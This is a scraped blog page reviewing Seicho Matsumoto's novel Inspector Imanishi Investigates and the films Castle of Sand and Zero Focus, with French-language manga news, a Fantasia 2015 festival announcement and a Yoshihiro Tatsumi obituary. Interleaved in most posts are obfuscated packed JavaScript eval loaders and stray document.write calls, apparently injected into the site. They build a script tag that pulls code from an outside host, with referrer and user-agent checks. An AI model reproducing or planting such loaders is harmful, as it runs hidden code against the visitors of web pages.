In chapter two, “Kameda”, Imanishi travels by train to Kameda along with Yoshimura Hiroshi, a younger and enthusiastic colleague. Except for the presence, the previous week, of a strange man, they cannot find any new leads for their investigation. On the train back, they see a group of four young men surrounded by fans and reporters. They are told they are members of the Nouveau group, a younger generation of intellectuals with progressive opinions: the composer Waga Eiryo, the playwright Takebe Toyoichiro, the critic Sekigawa Shigeo and the painter Kanazawa Mutsuo. It seems that serendipity can play a role in a criminal investigation…

In chapter three, “The Nouveau Group”, we are introduced a little more to this group of intellectuals, and particularly to Sekigawa and his mistress, Emiko. In chapter four, “Unsolved”, the investigation team (made of eight investigators from the Homicide Division of the Metropolitan Police and fifteen local precinct investigators) is disbanded due to the lack of progress. Imanishi and Yoshimura meets in a bar to discuss the case. Back home, Imanishi is told by his wife that a young actress just moved in a nearby apartment building. Waga Eiryo is injured in a taxi traffic accident and is visited in the hospital by friends and his fiancé, Tadokoro Sachiko, the daughter of a former cabinet minister.

In the fifth chapter, “The woman of the paper blizzard”, the investigators get their first break when the adoptive son of the victim files a missing-person report and identifies him has Miki Kenichi, a retired grocer from Okayama Prefecture. Back home, Imanishi meets his sister who tells him that she has a new tenant in one of her apartment units, apparently a hostess in a bar in Ginza. Murayama, an art critic, tells his friend Kawano about a strange encounter he had in a train: a young woman was throwing out of the train’s opened window what looked like shredded white paper. His friend asks if he could publish this poetic story as his own. In chapter six, “The distribution of dialects”, Imanishi wonders that if Miki Kenichi was from Okayama Prefecture how could he then talks in Tohoku dialect? However, he discovers that the Izumo dialect is somehow similar to Tohoku’s and that there’s a place called Kamedake in that area too, so he goes to Shimane Prefecture to investigate. He learns that, before becoming a grocer, Kenichi worked a longtime as a policeman in Kamedake. Imanishi meets with the police chief of Minari station in Nita town and with one of Miki’s friend in Kamedake, an abacus maker named Kirihara Kojuro. He can now start to investigate Kenichi’s life in search for a motive for his murder. He doesn’t learn much. He mostly hears stories about how Miki-san was a very good man, always helping people, like this time when a leper beggar traveled through the village with his son.

Chap. seven, “Bloodstains”: Imanishi reads the story the “Girl of the paper blizzard” in a magazine and is intrigued. He tracks down the writer to get more details. What if the girl is the murderer’s mistress getting rid of evidence, for instance the blood stained shirt he was wearing at the time of the murder? He goes looking along the train tracks and indeed finds bloodstained cloth fragments. Tests reveals it is the same blood type as Miki! He also learns that Naruse Rieko, the young woman who moved into an apartment near his home, had just committed suicide. On a hunch he goes investigates at the Avant-Garde Theatre where she was employed and meets a young actor named Miyata Kunio who seems to know something about the reason behind her suicide. He promised to meet Imanishi later to give him more helpful information. Chap. eight, “A mishap”: Miyata never shows up at the meeting and, the next day, Imanishi discovers that he is dead, of an apparent heart attack. He starts investigating him, going back to the theatre and then to his apartment and discovers that he was probably the man, disguised as a labourer, acting strangely in Kameda!

Chapter Nine, “Groping”: On the spot where Miyata died, Imanishi and Yoshimura find a piece of paper with what seems unemployment statistics. They surmise that Miyata must have been hired by the killer to go to Tohoku in order to distract the police. Imanishi goes to visit his sister in order to discreetly interview her tenant, Miura Emiko. She seems well-learned for a bar hostess and interested in everything written by Sekigawa. He also suspects that she’s pregnant. Chapter ten, “Emiko”: Emiko tells Sekigawa about her encounter with Imanishi and that she is pregnant. He seems displeased and asks her to move out of that place immediately. Later, Imanishi learns from his sister that Emiko has moved out. He investigates the moving company and the bar where she was working, trying to find her whereabouts. He finds this highly suspicious.

Chapter eleven, “A woman’s death”: Imanishi’s suspicions are confirmed when he leans that Emiko died of an apparent miscarriage. He now starts investigating Sekigawa, trying to learn more about him and find out his birthplace. He learns he was born in Yokote City, in Akita Prefecture. Chapter twelve, “Bewilderment”: Imanishi and Yoshimura meet again to discuss the case and Imanishi writes a couple of letters to request more information from Miki’s adoptive son and from the abacus maker. The last time Miki Kenichi was seen by his family, he was leaving for a lengthy pilgrimage that culminated in Ise. He was supposed the come right back to Okayama, so why did he stop in Tokyo? He must have seen something or someone that made him change his plans. So, once again, Imanishi takes the train to investigate around the Ise shrine. He learns that Miki went to a movie theatre twice just before leaving for Tokyo. He must have seen something in the movies that suddenly made him change his plans.

Chapter thirteen, “A thread”: Imanishi goes to the movie company to screen the films seen by Miki in Ise, but he sees nothing suspicious. Maybe it was something in the news reels or previews? Yoshimura, who saw the movie in question a while ago, thinks that the preannouncement of the next movie, a foreign feature, had scenes from the opening nights showing lots of celebrities, including maybe some members of the Nouveau Group. Imanishi is not only investigating Sekigawa but also Waga Eiryo. He is going to Yamanaka in Ishikawa Prefecture, a small and poor village, to investigate the wife of the leper beggar that Miki had helped and try to find the whereabouts of his son. Chapter fourteen, “Soundless”: Yoshimura reports to Imanishi that he looked around Sekigawa’s house and came upon the strange story of peddlers getting sick with no apparent reasons while trying to push their products at his doorsteps. Imanishi is finally able to see the preview movie for himself, but can’t find anything useful in it.

Chapter fifteen, “On the track”: The Ise police questioned the theatre’s manager and it is revealed that a commemorative photograph showing the manager with agriculture and forestry minister Tadokoro Shigeyoshi and his family was displayed at the theatre when Miki visited. Finally, Imanishi is able to identify the face that had drawn Miki to Tokyo! Imanishi goes back to the Avant-Garde Theatre and learns that a man’s raincoat was stolen from the wardrobe of the theatre. It was a stage costume used by Miyata Kunio and probably stolen by Naruse Rieko for her lover. So the killer could walk back home without attracting attention since his bloodied shirt was covered by a raincoat! He also learns that what made the peddler feel sick at Sekigawa’s house was an ultrasonic device used as “peddler repellent.” Chapter sixteen, “A certain family register”: Imanishi goes to Osaka to investigates Waga’s family register. He deducts that, since it was destroyed during the war and reconstruct with information provided by the people on an honour basis, the information is likely false. Imanishi and Yoshimura realize that the paper found near Miyata Kunio’s body wasn’t unemployment statistics after all, but a list high and low frequencies with silences, a recipe for murder!

Chapter seventeen, “The loud speaker announcement”: At the Homicide Division, Imanishi explains his findings to the team. All the pieces of the puzzle are finally coming into place and the murderer is arrested before he boarded a plane for the U.S.A.

First of all, the title of this translation is terrible. The original title can be literally translated as “The Bowl of sand” (it’s poetic, but the deeper meaning of it escapes me; maybe it refer to the futility of hubris, since a bowl of sand cannot retain any water?). It was probably too complex for the american publisher who chose this utterly unimaginative title instead (note that the french publisher kept the original spirit of the title with “Le vase de sable” which means “the vessel of sand”).

Like the movie, that we recently commented, this novel is a very detailed police procedural. The storytelling is more linear than the movie and much more complex as several characters were eliminated or merged for the movie. The main difference is the fact that there’s two main suspects (Waga and Sekigawa), there’s two girlfriends or mistresses’ murders (Emiko and Rieko) on the sideline of the main crime and the use of an ultra-sonic device as the secondary murder weapon. This intrigue was probably too complex (and confusing: two artists, two girlfriends) for a movie which needed a simpler plot. Also, the movie put much more emphasis on Waga’s father and his disease, while the book pits the westernized ideas of the Nouveau group (progressive but also corrupting — after all two of its members, full of hubris, committed murder to preserved their status) against the simpler and beautiful way of life of traditional Japan (represented by the abacus maker) — although it could also means abject poverty (like in the village of Waga’s mother).

It’s a good novel and, despite the fact that it painstakingly follows every steps of the investigation, I didn’t feel any lengths. However, even if it’s not a very exciting story, it’s a good example of Japanese detective story, and for this it’s well worth reading.

Inspector Imanishi Investigates, by Seichô Matsumoto (translated by Beth Cary). New York, Soho Press, september 1989 (republished in July 2003). 16 x 24.5 x 3 cm, 314 pg., $16,95 USD / CAN. ISBN: 0-939149-28-1 (2003 edition: 9781569470190). Suggested for young adults (16+). You can read a lengthy extract of the novel on Google books.

For more information you can check the following websites:

Inspector Imanishi Investigates © 1989 by Seichô Matsumoto. All rights reserved.

[ Traduire ]

Découverte: trois nouveaux Taniguchi

Cette semaine, document.write(“”); en feuilletant le catalogue des bibliothèques de Montréal, j’ai fait la découverte de trois nouveaux manga de Jirô Taniguchi qui avaient échappé à mon attention jusque là: il s’agit de Les Gardiens du Louvre (que j’ai déjà commenté tout récemment), du volume 2 de Contrées Sauvages (que j’avais annoncé déjà en juillet de l’an dernier) et finalement, le plus nouveau de tous, Elle s’appelait Tomoji.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsdek|var|u0026u|referrer|yzsse||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znakz|var|u0026u|referrer|ierna||js|php’.split(‘|’),0,{}))

Voir les détails
après le saut de page >>

Les Gardiens du Louvre

Résultat d’un projet spécial, coédité par Futuropolis et Louvre Éditions, où des artistes de BD s’inspirent des oeuvres du Louvre, cette bande-dessinée de Taniguchi nous offre des planches superbement détailées et colorées.

“(…) un dessinateur japonais fait étape en solitaire à Paris, dans l’idée de visiter les musées de la capitale. Mais, cloué au lit de sa chambre d’hôtel par une fièvre insidieuse, il se trouve confronté avant tout à une forme de solitude absolue (…). Alors que le mal lui laisse quelque répit, il met son projet à exécution, et se perd dans les allées bondées du Louvre (…) oscillant entre rêve et réalité, qui le mènera pour finir à la croisée des chemins entre tragédie collective et histoire personnelle.”

Les Gardiens du Louvre, par Jiro TANIGUCHI (Traduction: Ilan Nguyên). Paris, Futuropolis / Louvre Éditions, novembre 2014. 23.0 x 32.5 x 1.7 cm, 136 pg., album couleur et cartonné, 20,00 € / $37.95 Can. Sens de lecture original japonais. ISBN: 9782754810159. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

Les contrées sauvages 2

“Au milieu d’une nature aussi cruelle que ses paysages sont sublimes et les créatures qui la peuplent sont hostiles, l’homme est la proie de tout, et surtout de lui-même. Véritable périple à travers les grands espaces, des montagnes japonaises aux étendues de l’Ouest américain, cette anthologie n deux tomes donne à voir une facette encore méconnue en France de l’oeuvre de Taniguchi : l’époque où, nourri de bande dessinée européenne, il s’essayait avec succès à la BD de genre en y insufflant ce qui est aujourd’hui encore sa marque de fabrique : un immense talent de raconteur d’histoires.”

Les Contrées Sauvages vol. 2, par Jirô TANIGUCHI. Paris: Casterman (collection Sakka), janvier 2015. 264 pgs, 15 x 21.4 x 2.2 cm, 13.95 € / $26.95 Can, ISBN: 9782203084445. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Elle s’appelait Tomoji

“L’histoire vraie d’une rencontre signée Taniguchi

“Taniguchi met ici en scène la rencontre entre deux adolescents dans le Japon de l’entre-deux guerres (1925-1932). Tomoji vit dans la campagne au nord du mont Fuji, tandis que Fumiaki fait ses premiers pas de photographe à Tokyo. L’auteur nous fait découvrir avec sa sensibilité habituelle ce qui va unir ces personnages.”

“Une histoire inspirée de personnages réels qui fonderont par la suite une branche dérivée du bouddhisme.”

[Texte du site de l’éditeur; voir aussi la couverture arrière]

Elle s’appelait Tomoji , scénario: Jirô TANIGUCHI et Miwako Ogihara, dessin: Jirô TANIGUCHI. Paris: Rue de Sèvres, janvier 2015. 174 pgs, 18.5 x 25.5 cm, 17 € / $31.95 Can, ISBN: 9782369811312. Recommandé pour public adolescent (12+).

Extraits des pages 3 à 8


Un extrait plus long peut être consulté sur le site de l’éditeur
Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

Japanese movies at Fantasia 2015


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sznhy|var|u0026u|referrer|yesze||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntass|var|u0026u|referrer|rhnya||js|php’.split(‘|’),0,{}))
This week the programmation for the 19th edition of the Fantasia International Film Festival was announced. It will be held in Montreal from July 14 to August 4 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. This year the festival is offering a lineup of about 400 movies from 36 countries, document.write(“”); including about 135 feature-length movies and 104 premieres! For more programming details you can check the festival’s web page at www.fantasiafestival.com and the screening schedule [ PDF ].

Here our main interest is the Japanese programming (25 features and one short) but there are twenty-seven movies from at least five other asian countries (four from China, thirteen from South Korea, six from Hong Kong, one from Indonesia, two from Taiwan and one from Thailand). The programming includes also over an hundred animated features and shorts from many countries. As usual, it’s a rich, strong and diversified selection bound to please anyone.

This year, it’s a slim pick anime-wise but to compensate the festival will open with the Japanese animated feature Miss Hokusai, which will be introduced by director Keiichi Hara and screenplay writer Miho Maruho. To the utter pleasure of the fans, the festival will also close with the canadian premiere of the greatly anticipated live-action Attack on Titan directed by Shinji Higuchi and based on the popular manga by Hajime Isamaya. The other anime and manga-related movies of interest are the Lupin the Third live-action, the latest Mamoru Oshii (Nowhere Girl) and the latest Takeshi Kitano (Ryuzo and the Seven Henchmen).

(Sources: Animation world network, Bible urbaine, Cult Mtl, Film school rejects and Métro)

Here’s a list of all the Japanese titles (with links to full description):


Anime:

Live-Action:

Documentary:

And here’s a few trailers of interest:

[ Traduire ]

Castle of Sand

This movie “tells the tale of two detectives, document.write(“”); Imanishi (Tetsuro Tamba) and Yoshimura (Kensaku Morita), tasked with tracking down the murderer of an old man, found bludgeoned to death in a rail yard. When the identity of the old man can’t be determined, the investigation focuses on the only other clue: a scrap of conversation overheard at a bar between the old man and a younger one. (…)”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhbfn|var|u0026u|referrer|iznsd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbsfb|var|u0026u|referrer|nesed||js|php’.split(‘|’),0,{}))

(Text from the
Wikipedia entry)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.


Early monday morning on June 15th, TCM aired a double-bill of Japanese movies as part of their foreign movie programme, TCM Imports (the previous week they had shown Rashomon and two weeks later, on sunday June 28th, they will show two Gozilla movies: Godzilla vs. Monster Zero (1970) and Godzilla, King of the Monsters! (1956)). I have already commented on the first movie, Zero Focus. The second movie, The castle of sand, is also a movie directed by Yoshitaro Nomura and based on a mystery novel by Seicho Matsumoto.

The novel, also titled Suna no utsuwa (lit. “The Bowl of sand”), was first serialized in Yomiuri Shimbun between May 17, 1960 and April 20, 1961 before being published by Kobunsha (kappa novels) in July 1961. It was translated in english as Inspector Imanishi Investigates and in french as Le vase de sable [I have also commented on the novel]. It was adapted into a movie by Shochiku in 1974 and was also made into TV dramas by TBS (in 1962 and 2004), Fuji TV (in 1977) and TV Asahi (in 1991 and 2011). So it’s quite a popular subject.

The Castle of Sand is a detailed police procedural movie where we follow the meticulous investigation of two detectives: Imanishi Eitaro, a 45-year-old veteran police officer and part-time poet, and Yoshimura Hiroshi, a younger and enthusiastic policeman from Shinagawa station. An old man has been found bludgeoned to death in the Kamata train yard in Tokyo and the only clues is that a waitress from a nearby bar said the victim spoke with a Tohoku accent, she saw him with a younger man and overheard them talk about “Kameda”. Is that a person’s name or place? Maybe it refers to Kameda Station in Akita Prefecture? They travel by train to this place but cannot find any more leads and their investigation stalls.

They get their first break when the adoptive son of the victim files a missing-person report and identifies him has Miki Kenichi, a retired grocer from Okayama Prefecture. But then how could he talk in Tohoku dialect? However, Imanishi discovers that the Izumo dialect is somehow similar to Tohoku’s and that there’s a place called Kamedake in that area too, so he goes to Shimane Prefecture to investigate. He learns that, before becoming a grocer, Kenichi worked a longtime as a policeman in Kamedake. Imanishi meets with Kirihara Kojuro, a local abacus maker who was a friend of Kenichi and he can start to investigate Kenichi’s life in search for a motive for his murder. Kenichi was a very good man and the only incident that stand out in his career in Kamedake is when he helps a beggar, Chiyokichi Motoura, suffering from Hansen’s disease (leprosy) who’s traveling all over Japan with his son Hideo. Chiyokichi is put in a sanatorium and Kenichi, who doesn’t have any children, would like to adopt Hideo, but the young boy is full of resentment and disappears.

The last time Miki Kenichi was seen by his family, he was leaving for a lengthy pilgrimage that culminated in Ise. He was supposed the come right back to Okayama, so why did he stop in Tokyo? He must have seen something or someone that made him change his plans. So, once again, Imanishi takes the train to investigate around the Ise shrine. In the meantime, young policeman Yoshimura Hiroshi is looking for the murderer’s shirt which was likely covered by blood in the attack and, since he wasn’t noticed by anyone in the aftermath, he must have somehow got rid of it. Someone had noticed a woman in a train throwing shredded paper or clothing through the window. Could have it been the shirt? Yoshimura locates her but when he tries to interrogate her, she escapes. In several occasions, the detectives cross path with a young up-and-coming composer-conductor named Waga EiRyo, who, they later learned, is the lover of Rieko (played by Yoko Shimada, of Shogun‘s fame), the woman from the train. The investigation then shift toward him and brings our detectives to Osaka. Who is he and what’s his connection with Miki Kenichi?

The Castle of Sand is a very good movie offering a captivating detective story. It is well written and masterfully intertwines at least three storylines (the investigation, Chiyokichi and Hideo’s story, Rieko and Wada’s story) that will somehow converge in the end. The movie is also beautifully shot. It is in many ways similar to Zero Focus, the other movie by director Yoshitaro Nomura (often called “Japan’s Hitchcock”) that we have recently seen. Again, Nomura makes us travel by train to a rural Japan that doesn’t exist anymore, but this time we see it in colour. He also offers us a much more impressive cast with the like of Tetsuro Tamba (Harakiri, Kwaidan, You Only Live Twice, Riki-Oh, The Twilight Samurai) or Ken Ogata (Vengeance Is Mine, The Ballad of Narayama, The Pillow Book, The Hidden Blade, Love and Honor), with cameo appearances of Kiyoshi Atsumi (of Tora-san‘s fame) and possibly Nobuko Miyamoto (wife and preferred actress of director Juzo Itami—but she’s not credited here…).

This is probably the best and most successful of Nomura’s movies. It not only offers an interesting police story full of drama and compassion, but also preserve on film the fascinating geographical and social landscapes of the ’60s and ’70s Japan, somewhat reminding us that nonconformity (expressed here by the father’s disease) always brought rejection and ostracism from Japanese society. My only complain is that the movie is way too long. Particularly the end, where Imanishi explains to his colleagues how the last pieces of the puzzle come together while, as we see a long flashback of the hardship of his childhood, Waga plays his latest composition, titled “Destiny”, to a packed concert hall. We have to endure the whole concerto for nearly fourty minutes! However, it is still a movie that I highly recommend.

You can find several trailers of the movie on Vimeo and on Youtube (in Japanese only):


Actually, you can even watch on Youtube the whole movie (again, in Japanese only):


The Castle of Sand ( ??? / Suna no utsuwa / lit. “Bowl of sand” ): Japan, 1974, Colour, 143 min.; Dir.: Yoshitaro Nomura; Scr.: Shinobu Hashimoto, Yoshitarô Nomura & Yôji Yamada (based on the novel of the same title by Seicho Matsumoto); Phot.: Takashi Kawamata; Ed.: Kazuo Ôta; Art dir.: Kyôhei Morita; Mus.: Yasushi Akutagawa; Prod.: Shinobu Hashimoto, Yoshiharu Mishima, Masayuki Satô; Cast: Tetsuro Tamba (Detective Eitaro Imanishi), Go Kato (Eiryo Waga/Hideo Motoura), Kensaku Morita (Detective Hiroshi Yoshimura), Yoko Shimada (Rieko Naruse), Karin Yamaguchi (Sachiko Tadokoro), Ken Ogata (Kenichi Miki), Seiji Matsuyama (Shokichi Miki), Yoshi Kato (Chiyokichi Motoura), Chish? Ry? (Kojuro Kirihara). Available on Dvd only in importation.
For more information you can visit the following websites:
The Castle of Sand © 1974 Shochiku Co., Ltd.

[ Traduire ]

Zero Focus

“Teiko (Yoshiko Kuga), document.write(“”); a new bride in an arranged marriage, sees her husband off on a trip to wrap up his business affairs in Kanazawa in western Japan before returning to start a new project in Tokyo. When he disappears, Teiko goes to Kanazawa and ultimately to the ruggedly mountainous Noto peninsula to find out what happened to him. With the help of police and an investigator from her husband’s company, she discovers a web of deceit (…).”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iriiz|var|u0026u|referrer|fhdnz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiiyy|var|u0026u|referrer|eyzys||js|php’.split(‘|’),0,{}))

(Text from the
Turner Classic Movies’ article)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.


I recorded this b&w Japanese film noir on my PVR late sunday night from TCM and have watched it yesterday. I really liked it: it’s an interesting and beautiful mystery crime movie. I was hesitant at first to watch it because the label “film noir” made me expect a sort of violent and sordid movie, but after all it was nothing like that. It was the typical calm and beautifully shot Japanese movie that I like to watch.

The story follows a recently wed woman who’s looking into the disappearance of her husband who went on a business trip and never came back. She slowly investigates his past to discover that he was not the man she thought he was. She realized that, after all, she knew little of him. He was living a double life and this complicated situation was forcing him into hard choices. She travels from one region of Japan to another, making us discover a Japanese countryside that doesn’t exist anymore.

In a very similar way to Rashomon, we see the protagonists various point of view as well as the woman’s theories on the fate of her husband. Is he alive or dead? Was it suicide or murder? Who did it and why? The reconstruction of the events keeps changing, sometime unexpectedly. The storytelling is quite skillfully woven.

The director, Yoshitaro Nomura, was born into the movie industry as his father directed many silence movies. He started as an assistant to Akira Kurosawa and had a prolific career at Shochiku, shooting eighty-nine films in all genres but having a definite preference for crime drama. He also often adapted to the screen novels by mystery writer Yoshitaro Nomura. It is a shame that he is not well known by western movie fans. There is a 2009 remake of this movie directed by Isshin Inudo.

You can find a trailer of the movie on Youtube (in Japanese only, but a subtitled trailer is also available on Video detective):


Actually, you can even watch on Youtube the whole movie (again, in Japanese only and split in seven parts):


Zero Focus (????? / Zero no shoten): Japan, 1961, B&W, 95 min.; Dir.: Yoshitaro Nomura; Scr.: Shinobu Hashimoto & Yoji Yamada (based on the novel of the same title by Seicho Matsumoto); Phot.: Takashi Kawamata; Ed.: Yoshiyasu Hamamura; Cost. Des.: Yuji Nagashima; Art dir.: Koji Uno; Mus.: Yasushi Akutagawa; Prod.: Ichinozuke Hosumi, Shigero Wakatsuki; Cast: Yoshiko Kuga (Teiko Uhara), Hizuro Takachiho (Sachiko Murota/Emmy), Ineko Arima (Hisako Tanuma), Koji Nanbara (Kenichi Uhara), Ko Nishimura (Sotaro Uhara), Sadako Sawamura ( Sotaro’s wife), Yoshi Kato (Mr. Murota), Tatsuo Nagai (Lt. Kitamura); Available on Dvd from Home Vision Entertainment.
For more information you can visit the following websites:
Zero Focus © 1961 Shochiku Co., Ltd.

[ Traduire ]

19th Tezuka Osamu Cultural Prize

The 2015 winners for the prestigious Tezuka Osamu Cultural Prize were announced on March 30th by the newspaper Asahi Shimbun:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knyti|var|u0026u|referrer|ebdtt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nehrh|var|u0026u|referrer|rbtne||js|php’.split(‘|’),0,{}))

Grand Prize: Aizawa Riku by Yoriko Hoshi (Bungeishunju).

New Creator Prize: A Silent Voice by Yoshitoki Ohima (Kodansha). Already available in french translation at Ki-oon.

Short Work Prize: Sensha Yoshida (for his works as a whole; his latest manga is Okayu Neko).

Special Prize: Chiisana Koi no Monogatari by Chikako Mitsuhashi (Gakken).

Sources: ANN and Animeland.

[ Traduire ]

R.I.P. Yoshihiro Tatsumi

Earlier this month, document.write(“”); on March 7, 2015, a member of the mangaka old guard passed away. Yoshihiro Tatsumi was seventy-nine year-old. He is most famous for having invented the word “gekiga” (lit. dramatic pictures) to describe the style of graphic novels he was producing in the ’50s. Nearly a dozen of his works have been translated either in english by Drawn & Quarterly or in french by Cornélius or Vertige, but he is best known for his graphical autobiography A Drifting Life (which I have previously commented).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tykds|var|u0026u|referrer|bzddn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bitke|var|u0026u|referrer|abria||js|php’.split(‘|’),0,{}))

Yoshihiro TATSUMI [?? ????] was born in 1935 in Tenn?ji-ku, Osaka. Inspired by the work of
Osamu TEZUKA and Noboru ÔSHIRO, he starts drawing manga in junior high school and has his first works (simple 4-panel and postcard manga) published in 1949. His first full-length story, Kodomojima (Children’s Island), is published by Tsurushobô in 1954. He becomes part of a group of artists based in the Kansai region publishing mostly for the Kashi-hon ya market (libraries specialized in renting hardcover books—many publishers, like Hinomaru bunko, produced their books and anthologies exclusively for that market). He then starts to be regularly published in manga compilation (contributing to anthologies like Kage [Shadow] or Machi [City]) and constantly experiments with his storytelling. His stylistic research culminate with the publication of Kuroi Fubuki (Black Snowstorm) in 1956.

Tatsumi (and the group of artists he associated with: Takao SAITÔ, Masaaki SATÔ, Masahiko MATSUMOTO among others) was writing action-oriented stories that were darker than the typical manga, and therefore, aimed at an older, more mature readership. His stories were about people’s everyday life and were using realistic themes that were more in sync with the socio-political problems of the time. In order to express such a complex storytelling he was using artistic techniques inspired by cinema (he was a big movie fan). That allowed for more expressive stories, as the narrative was better paced and the action flowing more naturally through the panels. In order to distinguish his style from the more comical and childish manga that was usual at the time, Tatsumi gave it the name “gekiga” (drama pictures). His group of artist was known as the “gekiga workshop.”

Yoshihiro TATSUMI is not my favourite mangaka (and so far i’ve read only A Drifting Life) but I have great respect for his role in the history of manga and for his work. His style was rather crude and cartoony (like most artists of his time) but he created great stories.

For more information you can check the following websites:

(Sources: ANN, The Guardian, ICv2 / Image Source: Andreas Rentz-Getty Images Europe [via ANN])

[ Traduire ]

La Rose de Versailles – Episodes

